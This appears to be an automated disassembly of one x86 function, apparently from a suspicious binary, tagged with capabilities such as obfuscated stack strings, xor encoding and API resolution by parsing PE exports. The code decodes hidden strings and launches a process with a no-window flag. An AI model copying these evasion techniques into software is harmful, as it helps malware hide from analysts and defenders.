Function at 0x40d590
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb8
mov ecx, dword [0x43a9a4]
mov dword [esp + 0xc0], 0x13d7abee
mov dword [esp + 0xc4], 0
mov dword [esp + 0x228], 0
mov eax, dword [esp + 0x228]
cmp eax, 7
ja 0x40d63b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x228]
mov edx, dword [esp + 0x228]
movzx edx, byte [esp + edx + 0xc0]
lea esi, [eax + edx]
add esi, 0xb0a26c7c
add eax, 0xb0a26c7c
and eax, edx
add eax, eax
sub esi, eax
mov dword [esp + 0x2a8], esi
mov eax, dword [esp + 0x2a8]
add al, 0x94
mov edx, dword [esp + 0x228]
mov byte [esp + edx + 0xc0], al
inc dword [esp + 0x228]
mov eax, dword [esp + 0x228]
cmp eax, 8
jb 0x40d5e0
mov edx, dword [str.K8DY38__advert]
mov dword [esp + 0x2a8], 0x226a1e19
mov dword [esp + 0x2ac], 0xa05186a
mov dword [esp + 0x2b0], 0xa05047a
mov dword [esp + 0x2b4], 0xa7d7201
mov dword [esp + 0x2b8], 0x75c40c03
mov dword [esp + 0x2bc], 0x474f7b09
mov dword [esp + 0x2c0], 0x7bbc4142
mov dword [esp + 0x2c4], 0x9b47717d
mov dword [esp + 0x2c8], 0
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x24]
cmp eax, 0x23
ja 0x40d6ff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x24]
mov esi, dword [esp + 0x24]
movzx esi, byte [esp + esi + 0x2a8]
add eax, 0xe4a241aa
xor eax, esi
mov dword [esp + 0x228], eax
mov eax, dword [esp + 0x228]
add al, 0xae
mov esi, dword [esp + 0x24]
mov byte [esp + esi + 0x2a8], al
inc dword [esp + 0x24]
mov eax, dword [esp + 0x24]
cmp eax, 0x24
jb 0x40d6c0
movzx ebx, byte [esp + 0x2a8]
lea eax, [esp + 0x228]
test bl, bl
je 0x40d72b
lea esi, [esp + 0x2a9]
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40d720
mov byte [eax], 0
movzx ebx, byte [edx]
test bl, bl
je 0x40d74b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x40d740
mov byte [eax], 0
movzx edx, byte [esp + 0xc0]
test dl, dl
je 0x40d77b
lea esi, [esp + 0xc1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x40d770
mov byte [eax], 0
movzx edx, byte [ecx]
test dl, dl
je 0x40d79b
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x40d790
mov byte [eax], 0
lea ecx, [esp + 0x228]
mov dword [esp + 0x2a8], 0x4fdd498f
mov dword [esp + 0x2ac], 0x43d64dde
mov dword [esp + 0x2b0], 0x47d441a5
mov dword [esp + 0x2b4], 0x7ba745d0
mov dword [esp + 0x2b8], 0x7ff7798c
mov dword [esp + 0x2bc], 0x73977dec
mov dword [esp + 0x2c0], 0x775671be
mov dword [esp + 0x2c4], 0x6bfa7595
mov dword [esp + 0x2c8], 0x6ff269f8
mov dword [esp + 0x2cc], 0x63856df5
mov dword [esp + 0x2d0], 0x67f26181
mov dword [esp + 0x2d4], 0x1b8965fd
mov dword [esp + 0x2d8], 0x1fcd198a
mov dword [esp + 0x2dc], 0x13cf1d94
mov dword [esp + 0x2e0], 0x179d119b
mov dword [esp + 0x2e4], 0xbd7159f
mov dword [esp + 0x2e8], 0xf9d0992
mov dword [esp + 0x2ec], 0x39f0d9a
mov dword [esp + 0x2f0], 0x79301dd
mov dword [esp + 0x2f4], 0x3ba60592
mov dword [esp + 0x2f8], 0x3fac39dd
mov dword [esp + 0x2fc], 0x33a13ddb
mov dword [esp + 0x300], 0x37d331d4
mov dword [esp + 0x304], 0x2b1735d0
mov dword [esp + 0x308], 0x2f2e2916
mov dword [esp + 0x24], 0
mov edx, dword [esp + 0x24]
cmp edx, 0x63
ja 0x40d911
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x24]
mov esi, dword [esp + 0x24]
movzx esi, byte [esp + esi + 0x2a8]
add edx, 0xc6482112
xor edx, esi
mov dword [esp + 0xc0], edx
mov edx, dword [esp + 0xc0]
add dl, 0xa6
mov esi, dword [esp + 0x24]
mov byte [esp + esi + 0x2a8], dl
inc dword [esp + 0x24]
mov edx, dword [esp + 0x24]
cmp edx, 0x64
jb 0x40d8d0
sub eax, ecx
mov dword [esp + 0xc0], 0x51ad4f7d
mov dword [esp + 0xc4], 0x55b953a0
mov word [esp + 0xc8], 0x5754
mov dword [esp + 0xca], 0
mov byte [esp + 0xce], 0
mov dword [esp + 0x1c0], 0
mov edx, dword [esp + 0x1c0]
cmp edx, 0xe
ja 0x40d9aa
nop
nop
nop
mov edx, dword [esp + 0x1c0]
mov esi, dword [esp + 0x1c0]
movzx esi, byte [esp + esi + 0xc0]
add edx, 0x85bd460d
xor edx, esi
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x24]
add dl, 0xbf
mov esi, dword [esp + 0x1c0]
mov byte [esp + esi + 0xc0], dl
inc dword [esp + 0x1c0]
mov edx, dword [esp + 0x1c0]
cmp edx, 0xf
jb 0x40d960
lea edx, [esp + 0xbc]
lea esi, [esp + 0xa8]
lea edi, [esp + 0x2a8]
lea ebx, [esp + 0xc0]
push edx
push esi
push eax
push ecx
push edi
push ebx
push 0x43fbd4
call fcn.0040c200
add esp, 0x1c
movzx eax, al
xor esi, esi
jmp dword [eax*4 + 0x43b48c]
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, dword [esp + 0xbc]
mov eax, dword [esp + 0xa8]
mov dword [esp + 0x1c], eax
mov edx, ecx
and edx, 0xfffffffc
mov esi, ecx
and esi, 3
mov eax, ecx
or eax, 3
imul eax, esi
xor esi, 3
imul esi, edx
add eax, esi
mov esi, dword [esp + 0x1c]
shr eax, 2
movzx edx, byte [esi + ecx - 1]
cmp edx, 0x3d
je 0x40da33
cmp edx, 0x2e
jne 0x40da34
dec eax
movzx ecx, byte [esi + ecx - 2]
cmp ecx, 0x3d
je 0x40da43
cmp ecx, 0x2e
jne 0x40da44
dec eax
push eax
call fcn.004095a0
add esp, 4
mov esi, eax
push eax
push dword [esp + 0x20]
call fcn.0042f000
add esp, 8
push dword [esp + 0xa8]
call fcn.00431bc0
add esp, 4
mov eax, dword [case.0x40d9de.0]
jmp eax
xor ecx, ecx
test esi, esi
sete cl
xor eax, eax
jmp dword [ecx*4 + 0x43b4a4]
push esi
call fcn.00402500
add esp, 4
jmp dword [0x43b4ac]
push esi
mov esi, eax
call fcn.004095b0
mov eax, esi
add esp, 4
mov dword [esp + 0x1c], eax
push eax
call fcn.00402fb0
add esp, 4
mov esi, eax
mov word [esp + 0x2a8], 0x6866
mov byte [esp + 0x2aa], 0xfa
mov word [esp + 0x2ab], 0
mov byte [esp + 0x2ad], 0
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x24]
cmp eax, 5
ja 0x40db2f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x24]
movzx ecx, byte [esp + ecx + 0x2a8]
add eax, 0xf6ec042b
xor eax, ecx
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0xc0]
add al, 0x29
mov ecx, dword [esp + 0x24]
mov byte [esp + ecx + 0x2a8], al
inc dword [esp + 0x24]
mov eax, dword [esp + 0x24]
cmp eax, 6
jb 0x40daf0
push edi
push esi
call fcn.00403100
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x43b4b4]
call fcn.0042db70
movzx eax, al
jmp dword [eax*4 + 0x43b4bc]
mov word [esp + 0x2a8], 0x5d51
mov byte [esp + 0x2aa], 0xf2
mov dword [esp + 0x2ab], 0
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x24]
cmp eax, 6
ja 0x40dbcf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x24]
movzx ecx, byte [esp + ecx + 0x2a8]
add eax, 0xca12a454
xor eax, ecx
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0xc0]
add al, 0x5c
mov ecx, dword [esp + 0x24]
mov byte [esp + ecx + 0x2a8], al
inc dword [esp + 0x24]
mov eax, dword [esp + 0x24]
cmp eax, 7
jb 0x40db90
push edi
push esi
call fcn.00403100
add esp, 8
mov dword [esp + 0xb4], eax
mov word [esp + 0x2a8], 0x18e9
mov byte [esp + 0x2aa], 0x66
mov dword [esp + 0x2ab], 0
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x24]
cmp eax, 6
ja 0x40dc4f
nop
nop
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x24]
movzx ecx, byte [esp + ecx + 0x2a8]
add eax, 0xe57587e9
xor eax, ecx
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0xc0]
add al, 0x73
mov ecx, dword [esp + 0x24]
mov byte [esp + ecx + 0x2a8], al
inc dword [esp + 0x24]
mov eax, dword [esp + 0x24]
cmp eax, 7
jb 0x40dc10
push edi
push esi
call fcn.00403100
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
mov dword [esp + 0xac], ecx
mov dword [esp + 0xb0], esi
push esi
call case.0x40c4bf.106
add esp, 4
push dword [esp + 0x1c]
call fcn.00403550
add esp, 4
lea esi, [esp + 0x1c0]
mov ecx, esi
push 1
call fcn.00409ea0
push esi
call fcn.0041a560
add esp, 4
mov ecx, esi
call fcn.0040a760
lea esi, [esp + 0xb10]
mov ecx, esi
push 3
call fcn.00409ea0
push esi
call fcn.0041ae50
add esp, 4
mov ecx, esi
call fcn.0040a760
lea esi, [esp + 0xc48]
mov ecx, esi
push 1
call fcn.00409ea0
push esi
call fcn.0041b0f0
add esp, 4
mov ecx, esi
call fcn.0040a760
lea esi, [esp + 0xbe0]
mov ecx, esi
push 1
call fcn.00409ea0
push esi
call fcn.0041cd90
add esp, 4
push esi
call fcn.0041d5e0
add esp, 4
push esi
call fcn.0041da40
add esp, 4
mov ecx, esi
call fcn.0040a760
lea esi, [esp + 0xb78]
mov ecx, esi
push 1
call fcn.00409ea0
push esi
call fcn.0041f6d0
add esp, 4
mov ecx, esi
call fcn.0040a760
lea esi, [esp + 0xaa8]
mov ecx, esi
push 1
call fcn.00409ea0
push esi
call fcn.00423fc0
add esp, 4
push esi
call fcn.0042a0f0
add esp, 4
mov eax, dword [esp + 0xac]
jmp dword [eax*4 + 0x43b4c4]
jmp dword [0x43b4d0]
push esi
call fcn.00421670
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00421670
add esp, 4
jmp dword [0x43b4d4]
lea ecx, [esp + 0xaa8]
call fcn.0040a760
mov dword [esp + 0x24], 0x3a0d39fe
mov dword [esp + 0x28], 0x9ed830
mov dword [esp + 0xc0], 0
mov eax, dword [esp + 0xc0]
cmp eax, 7
ja 0x40de18
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc0]
movzx ecx, byte [esp + ecx + 0x24]
add eax, 0x394c6ba4
xor eax, ecx
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2a8]
add al, 0xcc
mov ecx, dword [esp + 0xc0]
mov byte [esp + ecx + 0x24], al
inc dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
cmp eax, 8
jb 0x40ddd0
mov eax, dword [0x43a9a4]
mov dword [esp + 8], 0x1f63b772
mov dword [esp + 0xc], 0
mov dword [esp + 0xc0], 0
mov ecx, dword [esp + 0xc0]
cmp ecx, 7
ja 0x40de9a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0xc0]
mov edx, dword [esp + 0xc0]
movzx edx, byte [esp + edx + 8]
add ecx, 0xda2e2eba
xor ecx, edx
mov dword [esp + 0x2a8], ecx
mov ecx, dword [esp + 0x2a8]
add cl, 0x5e
mov edx, dword [esp + 0xc0]
mov byte [esp + edx + 8], cl
inc dword [esp + 0xc0]
mov ecx, dword [esp + 0xc0]
cmp ecx, 8
jb 0x40de50
mov ecx, dword [str.K8DY38__advert]
mov dword [esp + 0x2a8], 0x326aa6a9
mov dword [esp + 0x2ac], 0x506e585f
mov dword [esp + 0x2b0], 0x60615c65
mov dword [esp + 0x2b4], 0x1157565d
mov dword [esp + 0x2b8], 0x22785462
mov dword [esp + 0x2bc], 0x9323738
mov dword [esp + 0x2c0], 0x2a424874
mov byte [esp + 0x2c4], 0xec
mov dword [esp + 0x2c5], 0
mov word [esp + 0x2c9], 0
mov dword [esp + 4], 0
mov edx, dword [esp + 4]
cmp edx, 0x22
ja 0x40df61
nop
nop
nop
nop
nop
mov edx, dword [esp + 4]
mov esi, dword [esp + 4]
movzx esi, byte [esp + esi + 0x2a8]
add edx, 0x2c41db7e
xor edx, esi
mov dword [esp + 0xc0], edx
mov edx, dword [esp + 0xc0]
add dl, 0x8a
mov esi, dword [esp + 4]
mov byte [esp + esi + 0x2a8], dl
inc dword [esp + 4]
mov edx, dword [esp + 4]
cmp edx, 0x23
jb 0x40df20
movzx edx, byte [esp + 0x2a8]
test dl, dl
je 0x40df8b
lea ebx, [esp + 0xc0]
lea esi, [esp + 0x2a9]
nop
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x40df80
mov byte [ebx], 0
movzx edx, byte [ecx]
test dl, dl
je 0x40dfab
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x40dfa0
mov byte [ebx], 0
movzx ecx, byte [esp + 8]
test cl, cl
je 0x40dfcb
lea edx, [esp + 9]
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x40dfc0
mov byte [ebx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x40dfeb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x40dfe0
mov byte [ebx], 0
movzx eax, byte [esp + 0x24]
test al, al
je 0x40e00b
lea ecx, [esp + 0x25]
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x40e000
mov byte [ebx], 0
movzx eax, byte [0x43fb74]
test al, al
je 0x40e031
xor ecx, ecx
nop
nop
nop
nop
nop
mov byte [ebx + ecx], al
movzx eax, byte [ecx + 0x43fb75]
inc ecx
test al, al
jne 0x40e020
add ebx, ecx
mov byte [ebx], 0
mov edx, ebx
not edx
lea eax, [esp + 0xc0]
mov ecx, eax
not ecx
and ecx, ebx
mov dword [esp + 0x2a8], 0xf345f1b3
mov dword [esp + 0x2ac], 0xff42fd4a
mov dword [esp + 0x2b0], 0xfb4cf955
mov dword [esp + 0x2b4], 0xc7b3c578
mov dword [esp + 0x2b8], 0xc37bc19c
mov dword [esp + 0x2bc], 0xcf63cd7c
mov dword [esp + 0x2c0], 0xcbaac9b2
mov dword [esp + 0x2c4], 0xd766d575
mov dword [esp + 0x2c8], 0xd366d160
mov dword [esp + 0x2cc], 0xdf7ddd75
mov dword [esp + 0x2d0], 0xdb66d979
mov dword [esp + 0x2d4], 0x2791258d
mov dword [esp + 0x2d8], 0x23552196
mov dword [esp + 0x2dc], 0x2f5b2d94
mov dword [esp + 0x2e0], 0x2b952997
mov dword [esp + 0x2e4], 0x3743358b
mov dword [esp + 0x2e8], 0x3385319e
mov dword [esp + 0x2ec], 0x3f8b3d8e
mov dword [esp + 0x2f0], 0x3b87394d
mov dword [esp + 0x2f4], 0x7b205b6
mov dword [esp + 0x2f8], 0x3b401ad
mov dword [esp + 0x2fc], 0xfb90daf
mov dword [esp + 0x300], 0xba709a4
mov dword [esp + 0x304], 0x170315b8
mov dword [esp + 0x308], 0x1312111a
mov byte [esp + 0x30c], 0
and edx, eax
mov dword [esp + 8], 0
mov esi, dword [esp + 8]
cmp esi, 0x64
ja 0x40e1bb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [esp + 8]
mov ebx, dword [esp + 8]
movzx ebx, byte [esp + ebx + 0x2a8]
add esi, 0xe29f04d4
xor esi, ebx
mov dword [esp + 0x24], esi
mov ebx, dword [esp + 0x24]
add bl, 0xdc
mov esi, dword [esp + 8]
mov byte [esp + esi + 0x2a8], bl
inc dword [esp + 8]
mov esi, dword [esp + 8]
cmp esi, 0x65
jb 0x40e180
sub ecx, edx
mov dword [esp + 0x24], 0x43a3416f
mov dword [esp + 0x28], 0x47af45d4
mov word [esp + 0x2c], 0x4948
mov dword [esp + 0x2e], 0
mov dword [esp + 4], 0
mov edx, dword [esp + 4]
cmp edx, 0xd
ja 0x40e225
nop
nop
nop
mov edx, dword [esp + 4]
mov esi, dword [esp + 4]
movzx esi, byte [esp + esi + 0x24]
add edx, 0x95ce2490
xor edx, esi
mov dword [esp + 8], edx
mov edx, dword [esp + 8]
add dl, 0x30
mov esi, dword [esp + 4]
mov byte [esp + esi + 0x24], dl
inc dword [esp + 4]
mov edx, dword [esp + 4]
cmp edx, 0xe
jb 0x40e1f0
lea edx, [esp + 0xb8]
lea esi, [esp + 0xa4]
lea ebx, [esp + 0x24]
push edx
push esi
push ecx
push eax
push edi
push ebx
push 0x43fbd4
call fcn.0040c200
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x43b4dc]
xor ebx, ebx
xor eax, eax
test ebx, 0
setne al
jmp dword [eax*4 + 0x43b4e4]
mov ecx, dword [esp + 0xb8]
mov esi, dword [esp + 0xa4]
mov edx, ecx
and edx, 0xfffffffc
mov ebx, ecx
and ebx, 3
mov eax, ecx
or eax, 3
imul eax, ebx
xor ebx, 3
imul ebx, edx
add eax, ebx
shr eax, 2
movzx edx, byte [esi + ecx - 1]
cmp edx, 0x3d
je 0x40e2a2
cmp edx, 0x2e
jne 0x40e2a3
dec eax
movzx ecx, byte [esi + ecx - 2]
cmp ecx, 0x3d
je 0x40e2b2
cmp ecx, 0x2e
jne 0x40e2b3
dec eax
push eax
call fcn.004095a0
add esp, 4
mov ebx, eax
push eax
push esi
call fcn.0042f000
add esp, 8
push dword [esp + 0xa4]
call fcn.00431bc0
add esp, 4
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x43b4e4]
jmp dword [0x43b4ec]
push ebx
call fcn.00402500
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.00402500
add esp, 4
jmp dword [0x43b4f8]
mov esi, eax
jmp dword [0x43b4fc]
jmp dword [0x43b504]
push ebx
call fcn.004095b0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.004095b0
add esp, 4
jmp dword [0x43b50c]
push esi
call fcn.004116c0
add esp, 4
push esi
call fcn.00403550
add esp, 4
mov dword [esp + 0x2a8], 0x21bf45b8
mov word [esp + 0x2ac], 0
mov byte [esp + 0x2ae], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 6
mov esi, dword [esp + 0xb0]
ja 0x40e3d4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x2a8]
lea edx, [eax + ecx]
add eax, 0x39
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x9c9d7039
mov dword [esp + 0x24], edx
mov eax, dword [esp + 0x24]
add al, 0xe3
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x2a8], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 7
jb 0x40e390
push edi
push esi
call fcn.00403100
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x43b514]
lea ecx, [esp + 0x2a8]
push 1
call fcn.00409ea0
mov eax, 0xffffffff
nop
cmp byte [eax + 0x43fedd], 0
lea eax, [eax + 1]
jne 0x40e400
mov dword [esp + 0x24], 0x66aca8c8
mov dword [esp + 0x28], 0x6d661d59
mov word [esp + 0x2c], 0xf760
mov dword [esp + 0x2e], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0xd
ja case.0x40c4bf.135
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x24]
lea esi, [ecx + edx]
add ecx, 0xfd
and ecx, edx
add ecx, ecx
sub esi, ecx
add esi, 0x47fa01fd
mov dword [esp + 8], esi
mov ecx, dword [esp + 8]
add cl, 0xf
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x24], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0xe
jb 0x40e440
lea esi, [esp + 0x2a8]
mov ecx, esi
push eax
push 0x43fedc
lea eax, [esp + 0x2c]
push eax
call fcn.0040a0a0
mov ecx, esi
call fcn.0040a760
mov ecx, esi
call fcn.00409ee0
mov eax, dword [case.0x40e3e5.0]
nop
nop
jmp eax
xor eax, eax
cmp dword [esp + 0xb4], 0
setg al
jmp dword [eax*4 + 0x43b52c]
push 0
call fcn.00434fe0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x43b534]
mov dword [esp + 0x24], 0x37c339c7
mov dword [esp + 0x28], 0x330035c8
mov dword [esp + 0x2c], 0xcf4631cd
mov dword [esp + 0x30], 0xcbeacd31
mov dword [esp + 0x34], 0xc749c9f6
mov dword [esp + 0x38], 0xc323c548
mov dword [esp + 0x3c], 0xdf52c14e
mov dword [esp + 0x40], 0xdbe9ddfc
mov dword [esp + 0x44], 0xd72fd92d
mov dword [esp + 0x48], 0xd3f2d526
mov dword [esp + 0x4c], 0xef1bd12f
mov dword [esp + 0x50], 0xebd8ed10
mov dword [esp + 0x54], 0xe76ee915
mov dword [esp + 0x58], 0xe3c2e519
mov dword [esp + 0x5c], 0xffcde1de
mov dword [esp + 0x60], 0xfbdafd03
mov dword [esp + 0x64], 0xf70ff974
mov dword [esp + 0x68], 0xf30ff501
mov dword [esp + 0x6c], 0x8f03f103
mov dword [esp + 0x70], 0x8baa8d00
mov dword [esp + 0x74], 0x870a89bb
mov dword [esp + 0x78], 0x834d85a4
mov dword [esp + 0x7c], 0x9fad81a0
mov dword [esp + 0x80], 0x9b699d6e
mov dword [esp + 0x84], 0x97189966
mov dword [esp + 0x88], 0x93739569
mov dword [esp + 0x8c], 0xaf8e9167
mov dword [esp + 0x90], 0xab8aad96
mov dword [esp + 0x94], 0xa75ba954
mov dword [esp + 0x98], 0xa382a550
mov dword [esp + 0x9c], 0xbfbea19e
mov dword [esp + 0xa0], 0
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 0x7f
ja 0x40e64e
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx + 0x24]
add ecx, 0x28caf6f6
xor ecx, edx
mov dword [esp + 0x2a8], ecx
mov ecx, dword [esp + 0x2a8]
add cl, 0x32
mov edx, dword [esp + 8]
mov byte [esp + edx + 0x24], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 0x80
jb 0x40e610
movzx ecx, word [esp + 0x24]
test cx, cx
je 0x40e681
lea edi, [esp + 0x2a8]
lea edx, [esp + 0x26]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40e670
mov word [edi], 0
movzx ecx, word [eax]
test cx, cx
je 0x40e6b1
add eax, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x40e6a0
mov dword [edi], 0x220022
mov dword [edi + 4], 0x22
mov dword [esp + 0x64], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
push 0xc9be8534
push dword [0x440edc]
call fcn.004350c0
add esp, 8
lea ecx, [esp + 8]
lea edx, [esp + 0x2a8]
push ecx
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edx
push 0
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x43b53c]
jmp case.0x40e3e5.6
push dword [esp + 0x1c]
call fcn.00403550
add esp, 4
xor eax, eax
jmp case.0x40d9de.7
mov eax, dword [esp + 8]
mov dword [esp + 0x20], 0xb8bbba85
mov dword [esp + 0x18], 0
mov ecx, dword [esp + 0x18]
cmp ecx, 3
ja 0x40e805
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x18]
movzx edx, byte [esp + edx + 0x20]
add ecx, 0xb81aaadf
xor ecx, edx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 4]
add cl, 0xa5
mov edx, dword [esp + 0x18]
mov byte [esp + edx + 0x20], cl
inc dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
cmp ecx, 4
jb 0x40e7d0
mov ecx, dword [0x440ee8]
test ecx, ecx
je case.0x40e3e5.6
mov edx, dword [esp + 0x20]
xor esi, esi
mov edi, dword [0x440eec]
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x40e830
inc esi
cmp ecx, esi
jne 0x40e820
jmp case.0x40e3e5.6
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x40e3e5.6
push eax
push 1
push dword [0x440ef0]
push ecx
call fcn.00433ae0
add esp, 0x10
lea ecx, [esp + 0xaa8]
call fcn.00409ee0
lea ecx, [esp + 0xb78]
call fcn.00409ee0
lea ecx, [esp + 0xbe0]
call fcn.00409ee0
lea ecx, [esp + 0xc48]
call fcn.00409ee0
jmp dword [0x43b544]
lea ecx, [esp + 0xb10]
call fcn.00409ee0
lea ecx, [esp + 0x1c0]
call fcn.00409ee0
lea ecx, [esp + 0xb10]
call fcn.00409ee0
lea ecx, [esp + 0x1c0]
call fcn.00409ee0
mov al, 1
jmp dword [0x43b54c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov word [esp + 0x48], 0xdb74
mov byte [ebx + 2], 0
mov word [ebx], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x40ee04
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0xf99dc7af
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x95
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x40edd0
push edi
push esi
call fcn.00402d70
add esp, 8
mov dword [esp + 0x18], eax
mov word [esp + 0x48], 0x813a
mov byte [ebx + 2], 0
mov word [ebx], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x40ee80
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
lea edx, [eax + 0xe0]
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0xbfc9e2e0
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xa0
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x40ee40
push edi
push esi
call fcn.00402d70
add esp, 8
mov esi, dword [esp + 0x18]
test esi, esi
sete dl
test eax, eax
sete cl
or cl, dl
movzx ecx, cl
jmp dword [ecx*4 + 0x43b70c]
mov ecx, esi
mov edx, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, ecx
inc ecx
cmp byte [edi], 0
jne 0x40eeb0
mov dword [esp + 0xc], eax
xor esi, esi
cmp edi, edx
jbe 0x40eef7
cmp byte [edx], 0
je 0x40eef7
xor esi, esi
mov ebx, dword [esp + 0x18]
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push edi
push ebx
call fcn.0040d410
add esp, 0xc
lea ecx, [ebx + eax]
inc esi
